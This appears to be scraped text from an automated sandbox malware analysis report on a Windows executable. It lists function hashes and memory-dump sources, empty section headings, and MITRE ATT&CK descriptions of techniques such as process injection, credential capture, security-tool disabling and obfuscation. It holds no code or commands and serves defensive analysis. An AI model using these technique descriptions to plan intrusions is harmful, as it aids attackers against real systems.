API ID:
String ID:
API String ID:
Opcode ID: 6ff3c15f07d197f094aa6e97bc2c73cc845d1f9adf0b106ac93597d8f6f01455
Instruction ID: a02b48fc9f2b8deedadc49576f07e631cfcc2f0ba1c5cd0c9ee04bd836151fe3
Opcode Fuzzy Hash: 6ff3c15f07d197f094aa6e97bc2c73cc845d1f9adf0b106ac93597d8f6f01455
Instruction Fuzzy Hash: 2ED0A7311583808FC7058F6DC459964BFF4FF46711B4980E6E085CF1B3D624E845C710

Uniqueness

Uniqueness Score: -1.00%

Function 03006380, Relevance: .0, Instructions: 13COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000020.00000002.445775284.0000000003000000.00000040.00000001.sdmp, Offset: 03000000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_32_2_3000000_13E2.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b8fba74597a875c86262f55cd2af6eaed303d45493fa6bcd01cbbf6cb5956893
Instruction ID: 01455b16d23eed645eef698693e797fef4f3ebd075a0a27d8f4fa42f6e85d954
Opcode Fuzzy Hash: b8fba74597a875c86262f55cd2af6eaed303d45493fa6bcd01cbbf6cb5956893
Instruction Fuzzy Hash: 26D052A540C2C24FCB079B608E61441BF22BE0B32432902C2C1E14B0E3C638686BD772

Uniqueness

Uniqueness Score: -1.00%

Function 030080E8, Relevance: .0, Instructions: 11COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000020.00000002.445775284.0000000003000000.00000040.00000001.sdmp, Offset: 03000000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_32_2_3000000_13E2.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 61b846d6df5b19b18c21c76c7b88bb8dd6cb1c4a2613306f6a3d8274e6a65b3a
Instruction ID: 688467d7b15e8a24fd87afbbf4e4fdcfd41a18f98aa05a8286204dcf5005739d
Opcode Fuzzy Hash: 61b846d6df5b19b18c21c76c7b88bb8dd6cb1c4a2613306f6a3d8274e6a65b3a
Instruction Fuzzy Hash: ABC08C352603048FC708CF5AC008E6477E9AF44B15F8580E4E0088B2B2C734ED40CA00

Uniqueness

Uniqueness Score: -1.00%

Function 030011A8, Relevance: .0, Instructions: 9COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000020.00000002.445775284.0000000003000000.00000040.00000001.sdmp, Offset: 03000000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_32_2_3000000_13E2.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 61d187def888db035985297fa0582b260056e06bf4d246592bf7bef35ed7f428
Instruction ID: c601212453668f9b73a51f76ea7dc6b1dca811168ec8e9acc8ae5e1408336bd3
Opcode Fuzzy Hash: 61d187def888db035985297fa0582b260056e06bf4d246592bf7bef35ed7f428
Instruction Fuzzy Hash: A8C08CB82006008FD3048F34CC44A2779A6EFE8705F42C81852048A23CDA74C844DB52

Uniqueness

Uniqueness Score: -1.00%

Function 03000C7C, Relevance: .0, Instructions: 8COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000020.00000002.445775284.0000000003000000.00000040.00000001.sdmp, Offset: 03000000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_32_2_3000000_13E2.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ab8980a2d77e48177abe8cb207403bcc51e4cf79a8fc1ad038541708e1d0f408
Instruction ID: 7355d83afc64f154064a02ca7825fe60db5d136413b489743854bfaa6daf732b
Opcode Fuzzy Hash: ab8980a2d77e48177abe8cb207403bcc51e4cf79a8fc1ad038541708e1d0f408
Instruction Fuzzy Hash: FEB0923054021E8B8A90AFA8A906885775DF942B483904DA3E589166255AB969188BCC

Uniqueness

Uniqueness Score: -1.00%

Function 03000C53, Relevance: .0, Instructions: 7COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000020.00000002.445775284.0000000003000000.00000040.00000001.sdmp, Offset: 03000000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_32_2_3000000_13E2.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4d91a33b9853d391d6531f8fde533f1f3029e5a0b6035cd9f3683044e8f4f3dd
Instruction ID: f35b8b3295b6a5d8d1f3e00fb6ab56f12c3493a8d68526b732285bbe4605f7f7
Opcode Fuzzy Hash: 4d91a33b9853d391d6531f8fde533f1f3029e5a0b6035cd9f3683044e8f4f3dd
Instruction Fuzzy Hash: D2B09B706050454FCB459E9481603557766FFD2700B150499D9161F655C92E4C018B81

Uniqueness

Uniqueness Score: -1.00%

Function 03000C80, Relevance: .0, Instructions: 7COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000020.00000002.445775284.0000000003000000.00000040.00000001.sdmp, Offset: 03000000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_32_2_3000000_13E2.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 17e9d124b4d202571c8b4997a23aa5d99f14dbf55aa157ffa665ce35eb254b58
Instruction ID: abac517555f6b11c77a0d69584f7b0d7576715dfc34791dec8c936bfc5c35581
Opcode Fuzzy Hash: 17e9d124b4d202571c8b4997a23aa5d99f14dbf55aa157ffa665ce35eb254b58
Instruction Fuzzy Hash: 52B0123044020E8F85C0AFA8F906844771DF9406483500D62A50D066155E7D281887CC

Uniqueness

Uniqueness Score: -1.00%

Function 0300553B, Relevance: .0, Instructions: 5COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000020.00000002.445775284.0000000003000000.00000040.00000001.sdmp, Offset: 03000000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_32_2_3000000_13E2.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 630180fc6b204c74ca6a26dc0c477745772c48ff268405dcd48e8a961c1831b3
Instruction ID: aacf8d6bb5fa8400aab37f03c07b6e5c315bb077bc4fdfd56949da598cfcf4f6
Opcode Fuzzy Hash: 630180fc6b204c74ca6a26dc0c477745772c48ff268405dcd48e8a961c1831b3
Instruction Fuzzy Hash: 72B01232AC01465EE3515B600446B80BB14DF71345F0908D0930148047809000B1C564

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Description:	Adversaries may obtain and abuse credentials of existing accounts as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Compromised credentials may be used to bypass access controls placed on various resources on systems within the network and may even be used for persistent access to remote systems and externally available services, such as VPNs, Outlook Web Access and remote desktop. Compromised credentials may also grant an adversary increased privilege to specific systems or access to restricted areas of the network. Adversaries may choose not to use malware or tools in conjunction with the legitimate access those credentials provide to make it harder to detect their presence.
Tactics:	Defense Evasion, Initial Access, Persistence, Privilege Escalation
Data Sources:	AWS CloudTrail logs, Authentication logs, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, Azure AD, GCP, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to achieve execution. WMI is a Windows administration feature that provides a uniform environment for local and remote access to Windows system components. It relies on the WMI service for local and remote access and the server message block (SMB) and Remote Procedure Call Service (RPCS) for remote access. RPCS operates over port 135.
Tactics:	Execution
Data Sources:	Authentication logs, Netflow/Enclave netflow, Process command-line parameters, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may directly interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	API monitoring, Loaded DLLs, Process monitoring, System calls
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Anti-virus, Process monitoring, System calls
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse the Windows service control manager to execute malicious commands or payloads. The Windows service control manager ( `services.exe` ) is an interface to manage and manipulate services.The service control manager is accessible to users via GUI components as well as system utilities such as `sc.exe` and Net .
Tactics:	Execution
Data Sources:	Process command-line parameters, Process monitoring, Windows Registry
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by hijacking the library manifest used to load DLLs. Adversaries may take advantage of vague references in the library manifest of a program by replacing a legitimate library with a malicious one, causing the operating system to load their malicious library when it is called for by the victim program.
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	Loaded DLLs, Process monitoring, Process use of network
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may create or modify Windows services to repeatedly execute malicious payloads as part of persistence. When Windows boots up, it starts programs or applications called services that perform background system functions.Windows service configuration information, including the file path to the service's executable or recovery programs/commands, is stored in the Windows Registry. Service configurations can be modified using utilities such as sc.exe and Reg .
Tactics:	Persistence, Privilege Escalation
Data Sources:	API monitoring, File monitoring, Process command-line parameters, Process monitoring, Windows Registry, Windows event logs
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, Access tokens, Authentication logs, Process command-line parameters, Process monitoring, Windows event logs
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, DLL monitoring, File monitoring, Named Pipes, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may disable security tools to avoid possible detection of their tools and activities. This can take the form of killing security software or event logging processes, deleting Registry keys so that tools do not start at run time, or other methods to interfere with security tools scanning or reporting information.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Services, Windows Registry
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, Email gateway, Environment variable, File monitoring, Malware reverse engineering, Network intrusion detection system, Network protocol analysis, Process command-line parameters, Process monitoring, Process use of network, SSL/TLS inspection, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata
Platforms:	macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify file time attributes to hide new or changes to existing files. Timestomping is a technique that modifies the timestamps of a file (the modify, access, create, and change times), often to mimic files that are in the same folder. This is done, for example, on files that have been modified or created by the adversary so that they do not appear conspicuous to forensic investigators or file analysis tools.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may delete files left behind by the actions of their intrusion activity. Malware, tools, or other non-native files dropped or created on a system by an adversary may leave traces to indicate to what was done within a network and how. Removal of these files can occur during an intrusion, or as part of a post-intrusion process to minimize the adversary's footprint.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may set files and directories to be hidden to evade detection mechanisms. To prevent normal users from accidentally changing special files on a system, most operating systems have the concept of a ‘hidden’ file. These files don’t show up when a user browses the file system with a GUI or when using normal commands on the command line. Users must explicitly ask to show the hidden files either via a series of Graphical User Interface (GUI) prompts or with command line switches ( `dir /a` for Windows and `ls –a` for Linux and macOS).
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking ) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture ).
Tactics:	Collection, Credential Access
Data Sources:	API monitoring, Binary file metadata, DLL monitoring, Kernel drivers, Loaded DLLs, PowerShell logs, Process command-line parameters, Process monitoring, User interface, Windows Registry, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading ...

Warning!

Windows Analysis Report emPJndhuvA.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Overview

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Overview

System Summary:

Jbx Signature Overview

AV Detection:

Cryptography:

Compliance:

Spreading:

Networking:

Key, Mouse, Clipboard, Microphone and Screen Capturing:

Spam, unwanted Advertisements and Ransom Demands:

System Summary:

Data Obfuscation:

Persistence and Installation Behavior:

Boot Survival:

Hooking and other Techniques for Hiding and Protection:

Malware Analysis System Evasion:

Anti Debugging:

HIPS / PFW / Operating System Protection Evasion:

Language, Device and Operating System Detection:

Lowering of HIPS / PFW / Operating System Security Settings:

Stealing of Sensitive Information:

Remote Access Functionality:

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

Contacted IPs

Public

Private

General Information

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASN

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Rich Headers

Data Directories

Sections

Resources

Imports

Version Infos

Description:	Adversaries may attempt to get a listing of accounts on a system or within an environment. This information can help adversaries determine which accounts exist to aid in follow-on behavior.
Tactics:	Discovery
Data Sources:	API monitoring, Azure activity logs, Office 365 account logs, Process command-line parameters, Process monitoring
Platforms:	AWS, Azure, Azure AD, GCP, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, GCP, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Process command-line parameters, Process monitoring, Windows Registry
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Files may be copied from an external adversary controlled system through the command and control channel to bring tools into the victim network or through alternate protocols with another tool such as FTP. Files can also be copied over on Mac and Linux with native tools like scp, rsync, and sftp.
Tactics:	Command and Control
Data Sources:	File monitoring, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process command-line parameters, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Malware reverse engineering, Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network, SSL/TLS inspection
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port paring that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre